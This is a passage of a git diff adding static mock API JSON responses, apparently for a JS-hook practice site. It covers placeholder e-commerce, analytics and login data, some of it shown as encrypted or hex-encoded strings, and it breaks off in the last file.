a/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-inventory-service b/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-inventory-service new file mode 100644 index 0000000..c969fb7 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-inventory-service @@ -0,0 +1,20 @@ +{ + "request_id": "REQJKL012INVENTORY", + "timestamp": 1738252800, + "signature_valid": true, + "service_name": "inventory-service", + "interceptor_id": "INTINV012", + "client_id": "CLIENT_JKL012MNO345", + "service_result": { + "status": "success", + "total_products": 1567, + "in_stock": 1456, + "out_of_stock": 23, + "inventory_data": { + "total_value": "3456789.00", + "low_stock_alerts": 12, + "categories": 34, + "warehouses": 6 + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-notification-service b/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-notification-service new file mode 100644 index 0000000..a42d556 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-notification-service @@ -0,0 +1,20 @@ +{ + "request_id": "REQPQR678NOTIFICATION", + "timestamp": 1738252800, + "signature_valid": true, + "service_name": "notification-service", + "interceptor_id": "INTNOT678", + "client_id": "CLIENT_PQR678STU901", + "service_result": { + "status": "success", + "messages_sent": 4567, + "delivery_rate": "96.78", + "failed_deliveries": 23, + "notification_data": { + "email_sent": 1567, + "sms_sent": 678, + "push_sent": 2345, + "channels": ["email", "sms", "push", "webhook"] + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-order-service b/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-order-service new file mode 100644 index 0000000..346481f --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-order-service @@ -0,0 +1,19 @@ +{ + "request_id": "REQDEF456ORDER", + "timestamp": 1738252800, + "signature_valid": true, + "service_name": "order-service", + "interceptor_id": "INTORDER456", + "client_id": "CLIENT_DEF456GHI789", + "service_result": { + "status": "success", + "total_orders": 3456, + "pending_orders": 123, + "completed_orders": 3200, + "order_data": { + "daily_orders": 234, + "average_value": "156.78", + "top_category": "电子产品" + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-payment-service b/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-payment-service new file mode 100644 index 0000000..0b585ca --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-payment-service @@ -0,0 +1,23 @@ +{ + "request_id": "REQGHI789PAYMENT", + "timestamp": 1738252800, + "signature_valid": true, + "service_name": "payment-service", + "interceptor_id": "INTPAY789", + "client_id": "CLIENT_GHI789JKL012", + "service_result": { + "status": "success", + "total_transactions": 6789, + "successful_payments": 6543, + "failed_payments": 45, + "payment_data": { + "total_amount": "567890.12", + "average_transaction": "123.45", + "payment_methods": { + "credit_card": 45, + "alipay": 35, + "wechat_pay": 20 + } + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-user-service b/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-user-service new file mode 100644 index 0000000..355e5c5 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-user-service @@ -0,0 +1,19 @@ +{ + "request_id": "REQABC123USER", + "timestamp": 1738252800, + "signature_valid": true, + "service_name": "user-service", + "interceptor_id": "INTUSER123", + "client_id": "CLIENT_ABC123DEF456", + "service_result": { + "status": "success", + "user_count": 8567, + "active_users": 3245, + "new_registrations": 67, + "user_data": { + "total_users": 45678, + "premium_users": 3456, + "last_login_24h": 6789 + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/items b/JS-hook/src/main/resources/static/fake-api-server/api/items new file mode 100644 index 0000000..1db3016 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/items @@ -0,0 +1,7 @@ +{ + "items": [ + { "id": 1, "name": "Static Item 1" }, + { "id": 2, "name": "Static Item 2" }, + { "id": 3, "name": "Static Item 3" } + ] +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/login b/JS-hook/src/main/resources/static/fake-api-server/api/login new file mode 100644 index 0000000..bd2a9cb --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/login @@ -0,0 +1,12 @@ +{ + "success": true, + "message": "登录成功", + "user": { + "id": 1, + "username": "管理员", + "email": "admin@example.com" + }, + "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c", + "loginTime": "2025-01-31T12:00:00.000Z", + "rememberMe": true +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-order b/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-order new file mode 100644 index 0000000..91557d0 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-order @@ -0,0 +1,28 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟 Protocol Buffers 响应", + "data": { + "request_id": "ghi789", + "timestamp": 1738252800, + "success": true, + "message": "订单 ORD789GHI 处理成功", + "code": 200, + "order_info": { + "order_id": "ORD789GHI", + "customer_name": "李四", + "customer_email": "lisi@example.com", + "products": [{ + "name": "智能手机", + "price": 2999.99, + "category": "electronics", + "brand": "TechBrand", + "stock": 1 + }], + "total_amount": 5999.98, + "status": "confirmed", + "created_at": 1738252800, + "shipping_address": "上海市浦东新区张江高科技园区", + "payment_method": "credit_card" + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-product b/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-product new file mode 100644 index 0000000..bed6e76 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-product @@ -0,0 +1,27 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟 Protocol Buffers 响应", + "data": { + "request_id": "def456", + "timestamp": 1738252800, + "success": true, + "message": "产品 智能手机 信息处理成功", + "code": 200, + "product_info": { + "name": "智能手机", + "description": "高性能智能手机,配备最新处理器和高清摄像头,支持5G网络。", + "price": 2999.99, + "category": "electronics", + "brand": "TechBrand", + "stock": 100, + "tags": ["5G", "高清摄像", "长续航"], + "attributes": { + "product_id": "PRD456DEF", + "created_at": "2025-01-31T16:00:00.000Z", + "status": "available", + "warranty": "2年", + "origin": "中国" + } + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-response-analytics-sales b/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-response-analytics-sales new file mode 100644 index 0000000..1a11265 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-response-analytics-sales @@ -0,0 +1,42 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟 Protocol Buffers 响应", + "data": { + "request_id": "abc123sales", + "timestamp": 1738252800, + "success": true, + "message": "analytics-sales 数据获取成功", + "code": 200, + "category": "analytics", + "option": "sales", + "report_data": { + "report_id": "RPT123SALES", + "title": "销售数据分析报告", + "description": "基于最近30天的销售数据,分析销售趋势、热门产品和销售渠道表现", + "generated_at": 1738252800, + "summary_metrics": { + "总销售额": 156780, + "订单数量": 1245, + "平均客单价": 125.9, + "同比增长": 15.6 + }, + "charts": [{ + "chart_type": "line", + "title": "销售趋势图", + "data_points": [ + {"label": "第1天", "value": 8500, "unit": "元", "timestamp": 1738166400}, + {"label": "第2天", "value": 9200, "unit": "元", "timestamp": 1738252800}, + {"label": "第3天", "value": 7800, "unit": "元", "timestamp": 1738339200}, + {"label": "第4天", "value": 10500, "unit": "元", "timestamp": 1738425600}, + {"label": "第5天", "value": 11200, "unit": "元", "timestamp": 1738512000}, + {"label": "第6天", "value": 9800, "unit": "元", "timestamp": 1738598400}, + {"label": "第7天", "value": 12300, "unit": "元", "timestamp": 1738684800} + ], + "metadata": { + "period": "最近7天", + "currency": "CNY" + } + }] + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-response-insights-trends b/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-response-insights-trends new file mode 100644 index 0000000..346a522 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-response-insights-trends @@ -0,0 +1,41 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟 Protocol Buffers 响应", + "data": { + "request_id": "jkl012trends", + "timestamp": 1738252800, + "success": true, + "message": "insights-trends 数据获取成功", + "code": 200, + "category": "insights", + "option": "trends", + "report_data": { + "report_id": "RPT012TRENDS", + "title": "趋势预测分析", + "description": "基于历史数据和机器学习算法预测未来趋势", + "generated_at": 1738252800, + "summary_metrics": { + "预测准确率": 85.6, + "趋势强度": 7.8, + "置信度": 92.3, + "预测周期": 12 + }, + "charts": [{ + "chart_type": "line", + "title": "趋势预测", + "data_points": [ + {"label": "未来第1月", "value": 15000, "unit": "元", "timestamp": 1740844800}, + {"label": "未来第2月", "value": 16500, "unit": "元", "timestamp": 1743523200}, + {"label": "未来第3月", "value": 18200, "unit": "元", "timestamp": 1746028800}, + {"label": "未来第4月", "value": 19800, "unit": "元", "timestamp": 1748707200}, + {"label": "未来第5月", "value": 21500, "unit": "元", "timestamp": 1751299200}, + {"label": "未来第6月", "value": 23200, "unit": "元", "timestamp": 1753977600} + ], + "metadata": { + "confidence": "85%", + "model": "ARIMA" + } + }] + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-response-reports-performance b/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-response-reports-performance new file mode 100644 index 0000000..adba2fb --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-response-reports-performance @@ -0,0 +1,40 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟 Protocol Buffers 响应", + "data": { + "request_id": "def456perf", + "timestamp": 1738252800, + "success": true, + "message": "reports-performance 数据获取成功", + "code": 200, + "category": "reports", + "option": "performance", + "report_data": { + "report_id": "RPT456PERF", + "title": "系统性能报告", + "description": "系统各组件性能指标监控,包括响应时间、吞吐量和资源使用率", + "generated_at": 1738252800, + "summary_metrics": { + "平均响应时间": 145.6, + "系统可用性": 99.8, + "CPU使用率": 65.2, + "内存使用率": 72.1 + }, + "charts": [{ + "chart_type": "line", + "title": "系统响应时间", + "data_points": [ + {"label": "0:00", "value": 120, "unit": "ms", "timestamp": 1738166400}, + {"label": "1:00", "value": 135, "unit": "ms", "timestamp": 1738170000}, + {"label": "2:00", "value": 110, "unit": "ms", "timestamp": 1738173600}, + {"label": "3:00", "value": 125, "unit": "ms", "timestamp": 1738177200}, + {"label": "4:00", "value": 140, "unit": "ms", "timestamp": 1738180800}, + {"label": "5:00", "value": 155, "unit": "ms", "timestamp": 1738184400} + ], + "metadata": { + "period": "最近24小时" + } + }] + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-response-statistics-traffic b/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-response-statistics-traffic new file mode 100644 index 0000000..ff1df53 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-response-statistics-traffic @@ -0,0 +1,39 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟 Protocol Buffers 响应", + "data": { + "request_id": "ghi789traffic", + "timestamp": 1738252800, + "success": true, + "message": "statistics-traffic 数据获取成功", + "code": 200, + "category": "statistics", + "option": "traffic", + "report_data": { + "report_id": "RPT789TRAFFIC", + "title": "流量统计报告", + "description": "网站流量来源分析,包括访问量、页面浏览量和用户行为路径", + "generated_at": 1738252800, + "summary_metrics": { + "总访问量": 156780, + "独立访客": 89450, + "页面浏览量": 345670, + "跳出率": 35.6 + }, + "charts": [{ + "chart_type": "line", + "title": "网站流量趋势", + "data_points": [ + {"label": "第1天", "value": 8500, "unit": "PV", "timestamp": 1735660800}, + {"label": "第2天", "value": 9200, "unit": "PV", "timestamp": 1735747200}, + {"label": "第3天", "value": 7800, "unit": "PV", "timestamp": 1735833600}, + {"label": "第4天", "value": 10500, "unit": "PV", "timestamp": 1735920000}, + {"label": "第5天", "value": 11200, "unit": "PV", "timestamp": 1736006400} + ], + "metadata": { + "period": "最近30天" + } + }] + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-user b/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-user new file mode 100644 index 0000000..7e6f96a --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/protobuf-user @@ -0,0 +1,27 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟 Protocol Buffers 响应", + "data": { + "request_id": "abc123", + "timestamp": 1738252800, + "success": true, + "message": "用户 张三 信息处理成功", + "code": 200, + "user_info": { + "name": "张三", + "email": "zhangsan@example.com", + "age": 28, + "phone": "13800138000", + "address": "北京市朝阳区", + "company": "科技创新有限公司", + "position": "高级工程师", + "salary": 25000, + "skills": ["JavaScript", "Python", "React"], + "metadata": { + "user_id": "USR123ABC", + "created_at": "2025-01-31T16:00:00.000Z", + "status": "active" + } + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/query-string-param-sign b/JS-hook/src/main/resources/static/fake-api-server/api/query-string-param-sign new file mode 100644 index 0000000..a0e2ed0 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/query-string-param-sign @@ -0,0 +1,7 @@ +{ + "items": [ + { "id": 1, "name": "Static Item 1" }, + { "id": 2, "name": "Static Item 2" }, + { "id": 3, "name": "Static Item 3" } + ] +} \ No newline at end of file diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/response-header-cookie-login b/JS-hook/src/main/resources/static/fake-api-server/api/response-header-cookie-login new file mode 100644 index 0000000..ce520a1 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/response-header-cookie-login @@ -0,0 +1,25 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟响应头加密Cookie", + "data": { + "session_id": "SESABC123LOGIN", + "timestamp": 1738252800, + "authenticated": true, + "service_type": "login", + "client_ip": "192.168.1.100", + "login_result": { + "status": "success", + "user_id": "USERABC123", + "access_token": "ATLOGIN123456789ABCDEFGH", + "token_type": "Bearer", + "expires_in": 3600 + } + }, + "headers": { + "x-cookie": "U2FsdGVkX1+8QGqKZHMjRwJVm9QxZzNvYWJjZGVmZ2hpams1MjM0NTY3ODkwYWJjZGVmZ2hpams=", + "x-session-id": "SESABC123LOGIN", + "x-auth-status": "success", + "x-service-type": "login", + "content-type": "application/json" + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/response-header-cookie-oauth b/JS-hook/src/main/resources/static/fake-api-server/api/response-header-cookie-oauth new file mode 100644 index 0000000..290a1e8 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/response-header-cookie-oauth @@ -0,0 +1,25 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟响应头加密Cookie", + "data": { + "session_id": "SESDEF456OAUTH", + "timestamp": 1738252800, + "authenticated": true, + "service_type": "oauth", + "client_ip": "192.168.1.100", + "oauth_result": { + "status": "authorized", + "provider": "github", + "access_token": "OATOAUTH789012345IJKLMNOP", + "scope": "write", + "user_info": "github_user_abc123" + } + }, + "headers": { + "x-cookie": "U2FsdGVkX1+9RHrLaIMkSwKWn0RyazOvYWJjZGVmZ2hpams2MzQ1Njc4OTBhYmNkZWZnaGlqaw==", + "x-session-id": "SESDEF456OAUTH", + "x-auth-status": "success", + "x-service-type": "oauth", + "content-type": "application/json" + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/response-header-cookie-refresh b/JS-hook/src/main/resources/static/fake-api-server/api/response-header-cookie-refresh new file mode 100644 index 0000000..5373ffa --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/response-header-cookie-refresh @@ -0,0 +1,25 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟响应头加密Cookie", + "data": { + "session_id": "SESJKL012REFRESH", + "timestamp": 1738252800, + "authenticated": true, + "service_type": "refresh", + "client_ip": "192.168.1.100", + "refresh_result": { + "status": "refreshed", + "new_access_token": "RATREFRESH567890123QRSTUV", + "new_refresh_token": "RRTREFRESH890123456WXYZAB", + "expires_in": 86400, + "scope": "reduced" + } + }, + "headers": { + "x-cookie": "U2FsdGVkX1+1TJtOcKRmUwMYp2T0czRvYWJjZGVmZ2hpams4NTY3ODkwMWFiY2RlZmdoaWpr", + "x-session-id": "SESJKL012REFRESH", + "x-auth-status": "success", + "x-service-type": "refresh", + "content-type": "application/json" + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/response-header-cookie-sso b/JS-hook/src/main/resources/static/fake-api-server/api/response-header-cookie-sso new file mode 100644 index 0000000..3ec2ea0 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/response-header-cookie-sso @@ -0,0 +1,25 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟响应头加密Cookie", + "data": { + "session_id": "SESGHI789SSO", + "timestamp": 1738252800, + "authenticated": true, + "service_type": "sso", + "client_ip": "192.168.1.100", + "sso_result": { + "status": "authenticated", + "provider": "saml", + "user_identifier": "company.com\\user_def456", + "domain": "company.com", + "service_ticket": "STSSO345678901234" + } + }, + "headers": { + "x-cookie": "U2FsdGVkX1+0SIsNbJQlTwLXo1SzbzQvYWJjZGVmZ2hpams3NDU2Nzg5MGFiY2RlZmdoaWpr", + "x-session-id": "SESGHI789SSO", + "x-auth-status": "success", + "x-service-type": "sso", + "content-type": "application/json" + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/search-products b/JS-hook/src/main/resources/static/fake-api-server/api/search-products new file mode 100644 index 0000000..4d441be --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/search-products @@ -0,0 +1,16 @@ +{ + "products": [ + { "id": 1, "name": "静态商品 - 苹果手机", "price": 6999, "category": "electronics" }, + { "id": 2, "name": "静态商品 - 华为手机", "price": 4999, "category": "electronics" }, + { "id": 3, "name": "静态商品 - 小米手机", "price": 2999, "category": "electronics" }, + { "id": 4, "name": "静态商品 - 时尚T恤", "price": 199, "category": "clothing" }, + { "id": 5, "name": "静态商品 - 牛仔裤", "price": 299, "category": "clothing" } + ], + "searchParams": { + "keyword": "手机", + "category": "electronics", + "minPrice": 100, + "maxPrice": 5000 + }, + "total": 5 +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/secure-operation-audit b/JS-hook/src/main/resources/static/fake-api-server/api/secure-operation-audit new file mode 100644 index 0000000..85b96a6 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/secure-operation-audit @@ -0,0 +1 @@ +553246736447566b5831387a614b66656447337070354358544e346d764f48414164703138557259594a392b6b4d595947455877775154562f3274423570644e563572496a52465378566a454433334e4f6334647752463466714f74424a336170717950335a4e472b76575765443938762f742f4e444a5a4f7a43357365446c516448424265573248702f753132566174505a696f637155724a73316b55614174667965394f7a743154766876706967445a5175494941757672665377516a5070666a664679494639526b2b492f33674868777179632f7775716d46704a51582b457a46535075744a75322b4162374b6f4375324477446e697547753970596f32396d6245786155694734694b7955564b646465687a62377451514f4d6c6f6d4b54365a31676c7a725162545452654e6f31675548422b686156674b61374a564846366d5837546f6d4c5573566f5259563857595a35616762724f7833316249616a7a676f7a793743385a6d414c4b4961596643374857544457387263622b3043714c51645948327342622f72705a7a4e726d62527178557a57432f46306f58766a4e4d6d537130512b6e71563656627858656463624e354d4f6b7030583568655646593372346d4c4432454334645a3469544676513d3d diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/secure-operation-backup b/JS-hook/src/main/resources/static/fake-api-server/api/secure-operation-backup new file mode 100644 index 0000000..e20a4b9 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/secure-operation-backup @@ -0,0 +1 @@ +553246736447566b58312f31326e49574f305371355a52346433302b5643685449704b35572b5748455779723732616a31546c68794534475139634343577370337274646b5955784e744a53374f414d4957667169522b50374d496b4145744e6d7743514b5a4856646b706d456559674967676772776d485376786d36752f37624669396933384945352b563849566d73374571516237674a77624b4a414948785759756f2b6a464a79526d4a704a6f4d432b6a366874484a342b5a4657576f55587454784f313342762b2b6e3167755833746e56654a6e524e5268707a54503830637039346b714f745a4e314a4878526a61454a436139424d7251706d3130467945315642723958544c4948532b497879556851763952654c55625855772b6833782b77545579556e6379526947657264676c565451304c3848397163634330304d424257704847746e744d476d643436397851385a5035307a6e64374a68454f5146444f633465334c307830447959756631514a46516e762b50384164572f45694a7a397a59596949575a4b4b664872545873684a4e6b36676e2f4a756458314b6a6c486e73754975777a517155776c7661704f586a7a366b49394e762b692f53714a6d2f4c785a6e326733366d7235774b7734756967337a72686f503538387144726566492b506b3d diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/secure-operation-contract b/JS-hook/src/main/resources/static/fake-api-server/api/secure-operation-contract new file mode 100644 index 0000000..e14dc0e --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/secure-operation-contract @@ -0,0 +1 @@ +553246736447566b583139342b4a695a5a646c42554e33683047645a45534c72444f4c4e355757656857384331706473536a70486f734f524f346d426848526c33486b4b6846322f6947372f4e616d2f68685a584f73443649307939577854426245773056584b386d586a41537075444a4c6b594b43564778782f6c543174553655482b486444423666744a5635514a74413730616275574a4765436451794668345a503337774a57566a534d4f3267346464364a6d2b765a68614577516d4d466a665a5459385478486a4e713572536e716e66542f49396d3978315337436d334d46493535444c7664734c444d49656d4c50482f65474d2f4365506d325a5953546e5743356675367477684d466d50576932305754722f356b364b7671706b7844642f4672696279716a56546b372f45612f682f68676550464959785a4941636c7a5969564977564258536c5042706c51592b6977654a6a77486765594249554756653463464f6c694b3378626851306f686867517259776c4c45482f5a75594e4d6a54646170764362706e346c7251792f64656b4e5347486342726c2b49565357444f4676776d435a707447716b76766b6e457037484d72767469674a7439426b59517032324c4e615841453959686b343034344f715a65776d6944586e2f4d706e326d346f4b77346f6b2b6d4c796d4243634a574b425335426c624370 diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/secure-operation-transfer b/JS-hook/src/main/resources/static/fake-api-server/api/secure-operation-transfer new file mode 100644 index 0000000..34b153c --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/secure-operation-transfer @@ -0,0 +1 @@ +553246736447566b58313836762f35316f30582b6264694b34416854796b61736764695a635772307237363233456358542f5369707370796372765638424c68733275707747466b3367372f43766c76575554685a64674a576269796770556c524867574d59434a496d6d2f6f3261442b4777342b51476c6a786b4e434b5139717a42777a3546485469707968712f334a59716e4266413278616d335a61614a396737716a456c2f39716f4267644b6d73794b775844626f69757267627476554547423733735063785948664454384a5a6667746d7252384268777a7771654735697a616f6263787556724a4a3347584b7a6b764a484a506d43576c4851655a48446c79624a564f774e41464b7749516d425439307843576b32706c6e7455543238714d56413538547438744b6a5566517a352b73643555487245416e3145466673713161634a6431586e6761337a746e794476687a39787979635557714e714361792f51384c42666e6a326e672b47674d2b53763176792f66364e3348777362626d494475356952454e4253776a43367141594b326b4a62782b6b745347374c56475a7531504959316a3445596d65455a694a7a5674654471537366672f6f6148574f424c646a4e6a5753724e795a3131376173673d3d diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/secure-query-customer b/JS-hook/src/main/resources/static/fake-api-server/api/secure-query-customer new file mode 100644 index 0000000..462d0e4 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/secure-query-customer @@ -0,0 +1 @@ +553246736447566b58312b53336661394e4d47492f556d6449736453416846494562364a6e5337614779355035507479456f376d572f546457456b42636a6a6d6a657a653476347066736237355444734d5949696a37325a434c71586e4870564f564d4435536f6774307668734d62464e5170554232317a58747a484d6849507a5271342b2f50326950722b686674465248654c526855304f712b304361694f66486347685172396956686c7579727a623237796d737a39535a6d596e3251412b742f365a45536635636163304579516843734d537a6747514432664c6c4153734e6e624b703135332f505a596e54764d474c33684a44312f51634b725a572f704b494e4154583976414e4b613472576b44434c67302f4e3768325348692b662b45306e4936664450625a6979577066786c433431686c70426c7a6742352b424c73524437464b37414d3065716b31527142487877513d3d diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/secure-query-employee b/JS-hook/src/main/resources/static/fake-api-server/api/secure-query-employee new file mode 100644 index 0000000..83d0a31 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/secure-query-employee @@ -0,0 +1 @@ +553246736447566b5831396c65355362715a4e6a326d6737514d476258386a31446e51507641615349306737766d6b705050762f7964574c2f7a396e43566c615234467957615545764350587552456a39424e78745459795176722f594d666c6a6642724462397673594a756f3167614441333055614451652f354968426677314a745746795a2b7a72467a4d71696c5a30544b6876746d3678784f6d7a46724778614e68304f477351676a3449617a51315964785947557a51794c4d6839444a2b79747873646b6f43634a4a6c48316745784d6b49374e6e6a6b4633733038353061376164503753315a5a7377586843744245316a767974694149586b4f4436754e756241435349367347516d49702f63346f2b6f7035625558695a39367a6f417a70374133337a64673d diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/secure-query-financial b/JS-hook/src/main/resources/static/fake-api-server/api/secure-query-financial new file mode 100644 index 0000000..006695d --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/secure-query-financial @@ -0,0 +1 @@ +553246736447566b5831392f4e6e62363673393537586c6a3674474444784368727a322b746167446d3154565a4f734d726857634676694679586e6d7049613030472f4b3759634851764e7531553376365a707571485977424a366a5a3830694f757969434e5538685a6e58504d6842336431617450772b3172472b2f38634e6d347a777455797543546a4853314f6c332f4730586936725a526e48352f444b30745758755741546951524f6c4b55774e43646a644538486d56344634694c363769504d735450353375772b342f776b4d577041713651495a6a4a436756595536393751654f784e536d636c696b5a37624c6f53412f6777526d435149754e61594a766b53552b534c564e4f786a6f793159684951516d6a6a5453705976712b5a6e6e485a4561367031633d diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/secure-query-project b/JS-hook/src/main/resources/static/fake-api-server/api/secure-query-project new file mode 100644 index 0000000..c04463b --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/secure-query-project @@ -0,0 +1 @@ +553246736447566b58312b72794f546c4f316f763566325a4c4457774c3278794767536b7a4b56717571483470614f5759302f4236623557685a636f5a45386b356e7a65645632487a2f517255782b2b684f5a6462464f71486e6c584a623134764c6b562b743354464a4f493656732f5a6758667576784c4133724d704346685231685277426d35464d4434387575367859436d65526b704a41434731364d7137387a652f4f6c434965742f6d67364566443772674a686f4732736e66795a4e7633396966514e744a4b5158693947567459532b5a5034526d42594a366376716238784a6f544679537536786b66684450766166423736493055436e394f574e3868496e412b673041387273524e317733557a3047375739612b6d5373766f6869336d4d685555413261413d diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/secure-submit b/JS-hook/src/main/resources/static/fake-api-server/api/secure-submit new file mode 100644 index 0000000..3eb61ed --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/secure-submit @@ -0,0 +1,20 @@ +{ + "success": true, + "message": "数据提交成功", + "submissionId": "ABC123XYZ789", + "status": "已接收并处理", + "timestamp": "2025-01-31T14:00:00.000Z", + "securityLevel": "最高级别加密", + "decryptedData": { + "companyName": "科技创新有限公司", + "contactPerson": "张经理", + "budget": 500000, + "urgency": "medium", + "industry": "technology" + }, + "processingInfo": { + "hexDataLength": 1024, + "encryptedDataLength": 512, + "originalDataSize": 256 + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/send-message b/JS-hook/src/main/resources/static/fake-api-server/api/send-message new file mode 100644 index 0000000..6d519bd --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/send-message @@ -0,0 +1,9 @@ +{ + "success": true, + "message": "消息发送成功", + "messageId": "abc123def456", + "sender": "Alice", + "timestamp": "2025-01-31T13:00:00.000Z", + "encryptedContent": "U2FsdGVkX19NsM9dRTZhUSFVUEeQiUKaqo+3uRF/gRwdQUX1CUhPM5e35C2EWeo1", + "originalMessage": "这是一条需要加密传输的重要消息!" +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/submit-user-info b/JS-hook/src/main/resources/static/fake-api-server/api/submit-user-info new file mode 100644 index 0000000..c33aec4 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/submit-user-info @@ -0,0 +1,19 @@ +{ + "success": true, + "message": "用户信息提交成功", + "userId": 12345, + "submitTime": "2025-01-31T12:30:00.000Z", + "status": "已处理", + "decryptedData": { + "phone": "13800138000", + "idCard": "110101********1234", + "bankCard": "6222****0123" + }, + "userInfo": { + "name": "张三", + "email": "zhangsan@example.com", + "city": "beijing", + "age": 25, + "remarks": "用户信息提交测试" + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/user-details-1001 b/JS-hook/src/main/resources/static/fake-api-server/api/user-details-1001 new file mode 100644 index 0000000..92d28cd --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/user-details-1001 @@ -0,0 +1,18 @@ +{ + "success": true, + "message": "获取用户信息成功", + "data": { + "id": 1001, + "name": "张三", + "email": "zhangsan@company.com", + "department": "技术部", + "encryptedPhone": "U2FsdGVkX1/TCSzk2xeJ7Ygp5w3SGFWWwKk9xJ8f+yg=", + "encryptedIdCard": "U2FsdGVkX1+/iqcsQts6tx0MM0XcTdwQvjEKHEAIM8Tz+O3z89lDO2bB+PvZ89yM", + "encryptedBankCard": "U2FsdGVkX18SK/rqA4B83grGVf6BzF+2N+8BLmOOf5T3EYv2sr/LSUK1cSJn0CQa", + "encryptedAddress": "U2FsdGVkX18OV0bHhR2LppCpIy5tHWbsrFla7la0UX6SyoaIVUnjR4KOk25C4MC4RBOfqQytp6eUxxCyF3mdeA==", + "createdAt": "2023-01-15T08:30:00Z", + "lastLogin": 